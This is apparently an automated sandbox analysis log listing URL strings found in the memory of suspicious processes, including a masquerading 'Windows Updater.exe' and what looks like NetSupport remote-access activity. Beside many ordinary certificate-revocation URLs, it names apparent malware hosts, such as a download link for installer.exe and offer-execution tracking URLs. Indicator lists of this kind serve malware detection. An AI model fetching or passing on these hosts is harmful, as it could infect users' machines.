Source: a1.exe, 00000014.00000003.2316597553.0000000004345000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ssc.lt/root-b/cacrl.crl0
Source: a1.exe, 00000014.00000003.2316491925.000000000435E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ssc.lt/root-c/cacrl.crl0
Source: a1.exe, 00000014.00000003.2317333312.00000000043F1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.xrampsecurity.com/XGCA.crl0
Source: a1.exe, 00000014.00000003.2317121482.000000000440A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl1.comsign.co.il/crl/comsignglobalrootca.crl0
Source: a1.exe, 00000014.00000003.2317121482.000000000440A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl2.postsignum.cz/crl/psrootqca4.crl01
Source: a1.exe, a1.exe, 00000014.00000003.2453233427.00000000043AF000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000014.00000003.2452995698.00000000043AF000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000014.00000002.2490078506.00000000043AE000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000014.00000003.2485911641.00000000043AE000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000014.00000003.2353089785.00000000043AF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.d
Source: a1.exe, 00000014.00000003.2453233427.00000000043AF000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000014.00000003.2452995698.00000000043AF000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000014.00000002.2490078506.00000000043AE000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000014.00000003.2485911641.00000000043AE000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000014.00000003.2353089785.00000000043AF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.dDigi
Source: a0.tmp, 00000007.00000003.2226960209.0000000005842000.00000004.00001000.00020000.00000000.sdmp, Windows Updater.exe, 0000001F.00000003.2547912168.0000000000F93000.00000004.00000020.00020000.00000000.sdmp, Windows Updater.exe, 0000001F.00000002.2922284466.0000000000FDC000.00000004.00000020.00020000.00000000.sdmp, Windows Updater.exe, 0000001F.00000003.2547801636.0000000000FE5000.00000004.00000020.00020000.00000000.sdmp, Windows Updater.exe, 0000001F.00000003.2548000487.0000000000FD8000.00000004.00000020.00020000.00000000.sdmp, v113.exe, 00000020.00000003.2560788358.0000000002830000.00000004.00001000.00020000.00000000.sdmp, v113.exe, 00000020.00000003.2560788358.000000000290E000.00000004.00001000.00020000.00000000.sdmp, v113.exe, 00000020.00000003.2648983734.00000000032B6000.00000004.00001000.00020000.00000000.sdmp, v113.exe, 00000020.00000003.2560788358.0000000002B49000.00000004.00001000.00020000.00000000.sdmp, MSI5D6E.tmp.21.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0P
Source: a1.exe, 00000014.00000003.2453151386.0000000006ED0000.00000004.00001000.00020000.00000000.sdmp, a1.exe, 00000014.00000003.2316303508.00000000043CF000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000014.00000003.2314508919.00000000043BF000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000014.00000003.2310319349.0000000005C55000.00000004.00001000.00020000.00000000.sdmp, Windows Updater.exe, 0000001C.00000002.2536551108.0000000001C00000.00000004.00000020.00020000.00000000.sdmp, Windows Updater.exe, 0000001F.00000003.2534296256.0000000000F93000.00000004.00000020.00020000.00000000.sdmp, Windows Updater.exe, 0000001F.00000003.2534256836.0000000000FDA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalG3CodeSigningECCSHA3842021CA1.crl0N
Source: a1.exe, 00000014.00000003.2453151386.0000000006ED0000.00000004.00001000.00020000.00000000.sdmp, a1.exe, 00000014.00000003.2316303508.00000000043CF000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000014.00000003.2314508919.00000000043BF000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000014.00000003.2310319349.0000000005C55000.00000004.00001000.00020000.00000000.sdmp, Windows Updater.exe, 0000001C.00000002.2536551108.0000000001C00000.00000004.00000020.00020000.00000000.sdmp, Windows Updater.exe, 0000001F.00000003.2534296256.0000000000F93000.00000004.00000020.00020000.00000000.sdmp, Windows Updater.exe, 0000001F.00000003.2534256836.0000000000FDA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootG3.crl0
Source: Windows Updater.exe, 0000001F.00000003.2547912168.0000000000F93000.00000004.00000020.00020000.00000000.sdmp, Windows Updater.exe, 0000001F.00000003.2547801636.0000000000FD9000.00000004.00000020.00020000.00000000.sdmp, Windows Updater.exe, 0000001F.00000002.2922284466.0000000000FDC000.00000004.00000020.00020000.00000000.sdmp, Windows Updater.exe, 0000001F.00000003.2547801636.0000000000FE5000.00000004.00000020.00020000.00000000.sdmp, v113.exe, 00000020.00000003.2648983734.00000000032B6000.00000004.00001000.00020000.00000000.sdmp, v113.exe, 00000020.00000003.2560788358.0000000002B49000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertHighAssuranceEVRootCA.crl0
Source: a0.tmp, 00000007.00000003.2226960209.0000000005842000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0S
Source: a1.exe, 00000014.00000002.2489356662.0000000004320000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096S
Source: a1.exe, 00000014.00000003.2453233427.00000000043AF000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000014.00000003.2310319349.0000000005AC0000.00000004.00001000.00020000.00000000.sdmp, a1.exe, 00000014.00000003.2453151386.0000000006ED0000.00000004.00001000.00020000.00000000.sdmp, a1.exe, 00000014.00000003.2316303508.00000000043CF000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000014.00000003.2452995698.00000000043AF000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000014.00000002.2490078506.00000000043AE000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000014.00000002.2490509551.00000000061F0000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000014.00000003.2452995698.000000000435A000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000014.00000003.2310319349.0000000005920000.00000004.00001000.00020000.00000000.sdmp, a1.exe, 00000014.00000003.2485911641.00000000043AE000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000014.00000003.2353089785.00000000043AF000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000014.00000003.2314508919.00000000043BF000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000014.00000003.2310319349.0000000005C55000.00000004.00001000.00020000.00000000.sdmp, Windows Updater.exe, 0000001C.00000002.2536551108.0000000001C00000.00000004.00000020.00020000.00000000.sdmp, Windows Updater.exe, 0000001F.00000003.2534296256.0000000000F93000.00000004.00000020.00020000.00000000.sdmp, Windows Updater.exe, 0000001F.00000003.2534256836.0000000000FDA000.00000004.00000020.00020000.00000000.sdmp, MSI743D.tmp.21.dr, MSIF8B5.tmp.20.dr, MSI80A8.tmp.21.dr, MSI232D.tmp.21.dr, MSIB1F8.tmp.21.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: a1.exe, 00000014.00000002.2489356662.0000000004320000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.c
Source: a0.tmp, 00000007.00000003.2226960209.0000000005842000.00000004.00001000.00020000.00000000.sdmp, a1.exe, 00000014.00000003.2453233427.00000000043AF000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000014.00000003.2310319349.0000000005AC0000.00000004.00001000.00020000.00000000.sdmp, a1.exe, 00000014.00000003.2453151386.0000000006ED0000.00000004.00001000.00020000.00000000.sdmp, a1.exe, 00000014.00000003.2316303508.00000000043CF000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000014.00000003.2452995698.00000000043AF000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000014.00000002.2490078506.00000000043AE000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000014.00000002.2490509551.00000000061F0000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000014.00000003.2310319349.0000000005920000.00000004.00001000.00020000.00000000.sdmp, a1.exe, 00000014.00000003.2485911641.00000000043AE000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000014.00000003.2353089785.00000000043AF000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000014.00000003.2314508919.00000000043BF000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000014.00000003.2310319349.0000000005C55000.00000004.00001000.00020000.00000000.sdmp, Windows Updater.exe, 0000001C.00000002.2536551108.0000000001C00000.00000004.00000020.00020000.00000000.sdmp, Windows Updater.exe, 0000001F.00000003.2534296256.0000000000F93000.00000004.00000020.00020000.00000000.sdmp, Windows Updater.exe, 0000001F.00000003.2534256836.0000000000FDA000.00000004.00000020.00020000.00000000.sdmp, MSI743D.tmp.21.dr, MSIF8B5.tmp.20.dr, MSI80A8.tmp.21.dr, MSI232D.tmp.21.dr, MSIB1F8.tmp.21.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: Windows Updater.exe, 0000001F.00000003.2547912168.0000000000F93000.00000004.00000020.00020000.00000000.sdmp, Windows Updater.exe, 0000001F.00000003.2547801636.0000000000FD9000.00000004.00000020.00020000.00000000.sdmp, Windows Updater.exe, 0000001F.00000003.2547801636.0000000000FE5000.00000004.00000020.00020000.00000000.sdmp, v113.exe, 00000020.00000003.2648983734.00000000032B6000.00000004.00001000.00020000.00000000.sdmp, v113.exe, 00000020.00000003.2560788358.0000000002B49000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/EVCodeSigningSHA2-g1.crl07
Source: a0.tmp, 00000007.00000003.2226960209.0000000005842000.00000004.00001000.00020000.00000000.sdmp, Windows Updater.exe, 0000001F.00000003.2547912168.0000000000F93000.00000004.00000020.00020000.00000000.sdmp, Windows Updater.exe, 0000001F.00000003.2547801636.0000000000FD9000.00000004.00000020.00020000.00000000.sdmp, Windows Updater.exe, 0000001F.00000002.2922284466.0000000000FDC000.00000004.00000020.00020000.00000000.sdmp, Windows Updater.exe, 0000001F.00000003.2547801636.0000000000FE5000.00000004.00000020.00020000.00000000.sdmp, v113.exe, 00000020.00000003.2560788358.0000000002830000.00000004.00001000.00020000.00000000.sdmp, v113.exe, 00000020.00000003.2560788358.000000000290E000.00000004.00001000.00020000.00000000.sdmp, v113.exe, 00000020.00000003.2648983734.00000000032B6000.00000004.00001000.00020000.00000000.sdmp, v113.exe, 00000020.00000003.2560788358.0000000002B49000.00000004.00001000.00020000.00000000.sdmp, MSI5D6E.tmp.21.dr	String found in binary or memory: http://crl3.digicert.com/sha2-assured-ts.crl02
Source: a0.tmp, 00000007.00000003.2226960209.0000000005842000.00000004.00001000.00020000.00000000.sdmp, Windows Updater.exe, 0000001F.00000003.2547912168.0000000000F93000.00000004.00000020.00020000.00000000.sdmp, Windows Updater.exe, 0000001F.00000002.2922284466.0000000000FDC000.00000004.00000020.00020000.00000000.sdmp, Windows Updater.exe, 0000001F.00000003.2547801636.0000000000FE5000.00000004.00000020.00020000.00000000.sdmp, Windows Updater.exe, 0000001F.00000003.2548000487.0000000000FD8000.00000004.00000020.00020000.00000000.sdmp, v113.exe, 00000020.00000003.2560788358.0000000002830000.00000004.00001000.00020000.00000000.sdmp, v113.exe, 00000020.00000003.2560788358.000000000290E000.00000004.00001000.00020000.00000000.sdmp, v113.exe, 00000020.00000003.2648983734.00000000032B6000.00000004.00001000.00020000.00000000.sdmp, v113.exe, 00000020.00000003.2560788358.0000000002B49000.00000004.00001000.00020000.00000000.sdmp, MSI5D6E.tmp.21.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: a1.exe, 00000014.00000003.2453151386.0000000006ED0000.00000004.00001000.00020000.00000000.sdmp, a1.exe, 00000014.00000003.2316303508.00000000043CF000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000014.00000003.2314508919.00000000043BF000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000014.00000003.2310319349.0000000005C55000.00000004.00001000.00020000.00000000.sdmp, Windows Updater.exe, 0000001C.00000002.2536551108.0000000001C00000.00000004.00000020.00020000.00000000.sdmp, Windows Updater.exe, 0000001F.00000003.2534296256.0000000000F93000.00000004.00000020.00020000.00000000.sdmp, Windows Updater.exe, 0000001F.00000003.2534256836.0000000000FDA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalG3CodeSigningECCSHA3842021CA1.crl0=
Source: Windows Updater.exe, 0000001F.00000003.2547912168.0000000000F93000.00000004.00000020.00020000.00000000.sdmp, Windows Updater.exe, 0000001F.00000003.2547801636.0000000000FD9000.00000004.00000020.00020000.00000000.sdmp, Windows Updater.exe, 0000001F.00000002.2922284466.0000000000FDC000.00000004.00000020.00020000.00000000.sdmp, Windows Updater.exe, 0000001F.00000003.2547801636.0000000000FE5000.00000004.00000020.00020000.00000000.sdmp, v113.exe, 00000020.00000003.2648983734.00000000032B6000.00000004.00001000.00020000.00000000.sdmp, v113.exe, 00000020.00000003.2560788358.0000000002B49000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertHighAssuranceEVRootCA.crl0
Source: a0.tmp, 00000007.00000003.2226960209.0000000005842000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0
Source: Windows Updater.exe, 0000001F.00000003.2547912168.0000000000F93000.00000004.00000020.00020000.00000000.sdmp, Windows Updater.exe, 0000001F.00000003.2547801636.0000000000FD9000.00000004.00000020.00020000.00000000.sdmp, Windows Updater.exe, 0000001F.00000003.2547801636.0000000000FE5000.00000004.00000020.00020000.00000000.sdmp, v113.exe, 00000020.00000003.2648983734.00000000032B6000.00000004.00001000.00020000.00000000.sdmp, v113.exe, 00000020.00000003.2560788358.0000000002B49000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/EVCodeSigningSHA2-g1.crl0J
Source: a0.tmp, 00000007.00000003.2226960209.0000000005842000.00000004.00001000.00020000.00000000.sdmp, Windows Updater.exe, 0000001F.00000003.2547912168.0000000000F93000.00000004.00000020.00020000.00000000.sdmp, Windows Updater.exe, 0000001F.00000003.2547801636.0000000000FD9000.00000004.00000020.00020000.00000000.sdmp, Windows Updater.exe, 0000001F.00000002.2922284466.0000000000FDC000.00000004.00000020.00020000.00000000.sdmp, Windows Updater.exe, 0000001F.00000003.2547801636.0000000000FE5000.00000004.00000020.00020000.00000000.sdmp, v113.exe, 00000020.00000003.2560788358.0000000002830000.00000004.00001000.00020000.00000000.sdmp, v113.exe, 00000020.00000003.2560788358.000000000290E000.00000004.00001000.00020000.00000000.sdmp, v113.exe, 00000020.00000003.2648983734.00000000032B6000.00000004.00001000.00020000.00000000.sdmp, v113.exe, 00000020.00000003.2560788358.0000000002B49000.00000004.00001000.00020000.00000000.sdmp, MSI5D6E.tmp.21.dr	String found in binary or memory: http://crl4.digicert.com/sha2-assured-ts.crl0
Source: a1.exe, 00000014.00000002.2488308459.00000000011A5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en
Source: a1.exe, 00000014.00000002.2488308459.0000000001140000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab0t=
Source: setup.exe, 00000003.00000003.2106854076.00000000026A0000.00000004.00001000.00020000.00000000.sdmp, setup.exe, 00000003.00000002.4546460668.00000000023C9000.00000004.00001000.00020000.00000000.sdmp, setup.tmp, 00000004.00000002.4550600836.000000000259F000.00000004.00001000.00020000.00000000.sdmp, setup.tmp, 00000004.00000002.4555610493.000000000391B000.00000004.00001000.00020000.00000000.sdmp, setup.tmp, 00000004.00000003.2112076757.0000000003630000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://false.apparelsilver.xyz/ar.php?d=inno&r=offer_execution&rk=no&o=1627&a=2598&dn=286&spot=1&t=1
Source: setup.exe, 00000003.00000003.2106854076.00000000026A0000.00000004.00001000.00020000.00000000.sdmp, setup.exe, 00000003.00000002.4546460668.00000000023C9000.00000004.00001000.00020000.00000000.sdmp, setup.tmp, 00000004.00000002.4550600836.000000000259F000.00000004.00001000.00020000.00000000.sdmp, setup.tmp, 00000004.00000002.4555610493.000000000391B000.00000004.00001000.00020000.00000000.sdmp, setup.tmp, 00000004.00000003.2112076757.0000000003630000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://false.apparelsilver.xyz/ar.php?d=inno&r=offer_execution&rk=no&o=1657&a=2598&dn=415&spot=4&t=1
Source: setup.exe, 00000003.00000003.2106854076.00000000026A0000.00000004.00001000.00020000.00000000.sdmp, setup.exe, 00000003.00000002.4546460668.00000000023C9000.00000004.00001000.00020000.00000000.sdmp, setup.tmp, 00000004.00000002.4550600836.000000000259F000.00000004.00001000.00020000.00000000.sdmp, setup.tmp, 00000004.00000002.4555610493.000000000391B000.00000004.00001000.00020000.00000000.sdmp, setup.tmp, 00000004.00000003.2112076757.0000000003630000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://false.apparelsilver.xyz/ar.php?d=inno&r=offer_execution&rk=no&o=1658&a=2598&dn=416&spot=7&t=1
Source: setup.exe, 00000003.00000003.2106854076.00000000026A0000.00000004.00001000.00020000.00000000.sdmp, setup.exe, 00000003.00000002.4546460668.00000000023C9000.00000004.00001000.00020000.00000000.sdmp, setup.tmp, 00000004.00000002.4550600836.000000000259F000.00000004.00001000.00020000.00000000.sdmp, setup.tmp, 00000004.00000002.4555610493.000000000391B000.00000004.00001000.00020000.00000000.sdmp, setup.tmp, 00000004.00000003.2112076757.0000000003630000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://false.apparelsilver.xyz/ar.php?d=inno&r=offer_execution&rk=no&o=1661&a=2598&dn=419&spot=3&t=1
Source: setup.exe, 00000003.00000003.2106854076.00000000026A0000.00000004.00001000.00020000.00000000.sdmp, setup.exe, 00000003.00000002.4546460668.00000000023C9000.00000004.00001000.00020000.00000000.sdmp, setup.tmp, 00000004.00000002.4550600836.000000000259F000.00000004.00001000.00020000.00000000.sdmp, setup.tmp, 00000004.00000002.4555610493.000000000391B000.00000004.00001000.00020000.00000000.sdmp, setup.tmp, 00000004.00000003.2112076757.0000000003630000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://false.apparelsilver.xyz/ar.php?d=inno&r=offer_execution&rk=no&o=1662&a=2598&dn=420&spot=5&t=1
Source: setup.exe, 00000003.00000003.2106854076.00000000026A0000.00000004.00001000.00020000.00000000.sdmp, setup.exe, 00000003.00000002.4546460668.00000000023C9000.00000004.00001000.00020000.00000000.sdmp, setup.tmp, 00000004.00000002.4550600836.000000000259F000.00000004.00001000.00020000.00000000.sdmp, setup.tmp, 00000004.00000002.4555610493.000000000391B000.00000004.00001000.00020000.00000000.sdmp, setup.tmp, 00000004.00000003.2112076757.0000000003630000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://false.apparelsilver.xyz/ar.php?d=inno&r=offer_execution&rk=no&o=1666&a=2598&dn=428&spot=6&t=1
Source: setup.tmp, 00000004.00000002.4557910495.0000000005955000.00000004.00000020.00020000.00000000.sdmp, setup.tmp, 00000004.00000003.2112076757.0000000003630000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://false.apparelsilver.xyz/ar.php?d=inno&r=offer_execution&rk=no&o=331&a=2598&dn=244&spot=2&t=17
Source: setup.tmp, 00000004.00000002.4557910495.0000000005955000.00000004.00000020.00020000.00000000.sdmp, setup.tmp, 00000004.00000002.4557910495.0000000005976000.00000004.00000020.00020000.00000000.sdmp, setup.tmp, 00000004.00000003.2112076757.0000000003630000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://false.apparelsilver.xyz/ar.php?d=inno&r=offer_execution&rk=yes&o=1627&a=2598&dn=286&spot=1&t=
Source: setup.exe, 00000003.00000003.2106854076.00000000026A0000.00000004.00001000.00020000.00000000.sdmp, setup.exe, 00000003.00000002.4546460668.00000000023C9000.00000004.00001000.00020000.00000000.sdmp, setup.tmp, 00000004.00000002.4550600836.000000000259F000.00000004.00001000.00020000.00000000.sdmp, setup.tmp, 00000004.00000002.4555610493.000000000391B000.00000004.00001000.00020000.00000000.sdmp, setup.tmp, 00000004.00000003.2112076757.0000000003630000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://false.apparelsilver.xyz/ar.php?d=inno&r=offer_execution&rk=yes&o=1657&a=2598&dn=415&spot=4&t=
Source: setup.exe, 00000003.00000003.2106854076.00000000026A0000.00000004.00001000.00020000.00000000.sdmp, setup.exe, 00000003.00000002.4546460668.00000000023C9000.00000004.00001000.00020000.00000000.sdmp, setup.tmp, 00000004.00000002.4550600836.000000000259F000.00000004.00001000.00020000.00000000.sdmp, setup.tmp, 00000004.00000002.4555610493.000000000391B000.00000004.00001000.00020000.00000000.sdmp, setup.tmp, 00000004.00000003.2112076757.0000000003630000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://false.apparelsilver.xyz/ar.php?d=inno&r=offer_execution&rk=yes&o=1658&a=2598&dn=416&spot=7&t=
Source: setup.exe, 00000003.00000003.2106854076.00000000026A0000.00000004.00001000.00020000.00000000.sdmp, setup.exe, 00000003.00000002.4546460668.00000000023C9000.00000004.00001000.00020000.00000000.sdmp, setup.tmp, 00000004.00000002.4550600836.000000000259F000.00000004.00001000.00020000.00000000.sdmp, setup.tmp, 00000004.00000002.4555610493.000000000391B000.00000004.00001000.00020000.00000000.sdmp, setup.tmp, 00000004.00000003.2112076757.0000000003630000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://false.apparelsilver.xyz/ar.php?d=inno&r=offer_execution&rk=yes&o=1661&a=2598&dn=419&spot=3&t=
Source: setup.exe, 00000003.00000003.2106854076.00000000026A0000.00000004.00001000.00020000.00000000.sdmp, setup.exe, 00000003.00000002.4546460668.00000000023C9000.00000004.00001000.00020000.00000000.sdmp, setup.tmp, 00000004.00000002.4550600836.000000000259F000.00000004.00001000.00020000.00000000.sdmp, setup.tmp, 00000004.00000002.4555610493.000000000391B000.00000004.00001000.00020000.00000000.sdmp, setup.tmp, 00000004.00000003.2112076757.0000000003630000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://false.apparelsilver.xyz/ar.php?d=inno&r=offer_execution&rk=yes&o=1662&a=2598&dn=420&spot=5&t=
Source: setup.exe, 00000003.00000003.2106854076.00000000026A0000.00000004.00001000.00020000.00000000.sdmp, setup.exe, 00000003.00000002.4546460668.00000000023C9000.00000004.00001000.00020000.00000000.sdmp, setup.tmp, 00000004.00000002.4550600836.000000000259F000.00000004.00001000.00020000.00000000.sdmp, setup.tmp, 00000004.00000002.4555610493.000000000391B000.00000004.00001000.00020000.00000000.sdmp, setup.tmp, 00000004.00000003.2112076757.0000000003630000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://false.apparelsilver.xyz/ar.php?d=inno&r=offer_execution&rk=yes&o=1666&a=2598&dn=428&spot=6&t=
Source: setup.exe, 00000003.00000003.2106854076.00000000026A0000.00000004.00001000.00020000.00000000.sdmp, setup.exe, 00000003.00000002.4546460668.00000000023C9000.00000004.00001000.00020000.00000000.sdmp, setup.tmp, 00000004.00000002.4550600836.000000000259F000.00000004.00001000.00020000.00000000.sdmp, setup.tmp, 00000004.00000002.4555610493.000000000391B000.00000004.00001000.00020000.00000000.sdmp, setup.tmp, 00000004.00000003.2112076757.0000000003630000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://false.apparelsilver.xyz/ar.php?d=inno&r=offer_execution&rk=yes&o=331&a=2598&dn=244&spot=2&t=1
Source: a1.exe, 00000014.00000003.2316716305.0000000004329000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://fedir.comsign.co.il/cacert/ComSignAdvancedSecurityCA.crt0
Source: a1.exe, 00000014.00000003.2316716305.0000000004329000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://fedir.comsign.co.il/crl/ComSignAdvancedSecurityCA.crl0
Source: a1.exe, 00000014.00000003.2318106368.000000000123C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://fedir.comsign.co.il/crl/ComSignCA.crl0
Source: a1.exe, 00000014.00000003.2317121482.000000000440A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://fedir.comsign.co.il/crl/comsignglobalrootca.crl0;
Source: wmiprvse.exe, 0000000E.00000002.4545412473.0000000000D99000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://geo.netsupportsoftware.com/
Source: wmiprvse.exe, 0000000E.00000002.4545412473.0000000000DFB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://geo.netsupportsoftware.com/location/loca.asp
Source: wmiprvse.exe, 0000000E.00000002.4545412473.0000000000DDE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://geo.netsupportsoftware.com/location/loca.asp41
Source: wmiprvse.exe, 0000000E.00000002.4553318930.0000000005D40000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://geo.netsupportsoftware.com/location/loca.asp9
Source: wmiprvse.exe, 0000000E.00000002.4553318930.0000000005D40000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://geo.netsupportsoftware.com/location/loca.aspK
Source: wmiprvse.exe, 0000000E.00000002.4554265373.0000000011194000.00000002.00000001.01000000.00000012.sdmp	String found in binary or memory: http://geo.netsupportsoftware.com/location/loca.aspSetChannel(%s)
Source: wmiprvse.exe, 0000000E.00000002.4553318930.0000000005D40000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://geo.netsupportsoftware.com/location/loca.aspk
Source: ZmWSzgevgt.exe, 00000000.00000003.2005457089.0000000002560000.00000004.00001000.00020000.00000000.sdmp, ZmWSzgevgt.exe, 00000000.00000002.4546319029.0000000000AE4000.00000004.00001000.00020000.00000000.sdmp, ZmWSzgevgt.tmp, 00000001.00000002.4555717982.00000000037BD000.00000004.00001000.00020000.00000000.sdmp, ZmWSzgevgt.tmp, 00000001.00000002.4555717982.000000000377A000.00000004.00001000.00020000.00000000.sdmp, ZmWSzgevgt.tmp, 00000001.00000003.2010247622.0000000003490000.00000004.00001000.00020000.00000000.sdmp, ZmWSzgevgt.tmp, 00000001.00000002.4550403877.000000000242C000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://hammercakes.xyz/ill.php?p=3890&t=47670100&title=cml2ZXItY2l0eS1yaXZhbC1zaG93ZG93bi10cmFpbmVyL
Source: shi4D3B.tmp.33.dr	String found in binary or memory: http://html4/loose.dtd
Source: a1.exe, 00000014.00000003.2317121482.000000000440A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://http.fpki.gov/fcpca/caCertsIssuedByfcpca.p7c0
Source: setup.tmp, 00000004.00000002.4546268057.0000000000857000.00000004.00000020.00020000.00000000.sdmp, setup.tmp, 00000004.00000002.4550600836.000000000259F000.00000004.00001000.00020000.00000000.sdmp, setup.tmp, 00000004.00000002.4555610493.000000000391B000.00000004.00001000.00020000.00000000.sdmp, setup.tmp, 00000004.00000003.2112076757.0000000003630000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://kapetownlink.com/installer.exe
Source: setup.tmp, 00000004.00000002.4546268057.0000000000857000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://kapetownlink.com/installer.exez10
Source: setup.tmp, 00000004.00000002.4559403605.0000000010038000.00000002.00000001.01000000.00000009.sdmp, setup.tmp, 00000004.00000002.4557123919.00000000039B0000.00000004.00001000.00020000.00000000.sdmp, setup.tmp, 00000004.00000002.4543921017.000000000018F000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://mitrichsoftware.wordpress.comB
Source: a1.exe, 00000014.00000003.2317121482.000000000440A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.accv.es0
Source: a1.exe, 00000014.00000003.2316303508.00000000043CF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com
Source: a0.tmp, 00000007.00000003.2226960209.0000000005842000.00000004.00001000.00020000.00000000.sdmp, a1.exe, 00000014.00000003.2453151386.0000000006ED0000.00000004.00001000.00020000.00000000.sdmp, a1.exe, 00000014.00000003.2316303508.00000000043CF000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000014.00000003.2314508919.00000000043BF000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000014.00000003.2310319349.0000000005C55000.00000004.00001000.00020000.00000000.sdmp, Windows Updater.exe, 0000001C.00000002.2536551108.0000000001C00000.00000004.00000020.00020000.00000000.sdmp, Windows Updater.exe, 0000001F.00000003.2534296256.0000000000F93000.00000004.00000020.00020000.00000000.sdmp, Windows Updater.exe, 0000001F.00000003.2534256836.0000000000FDA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
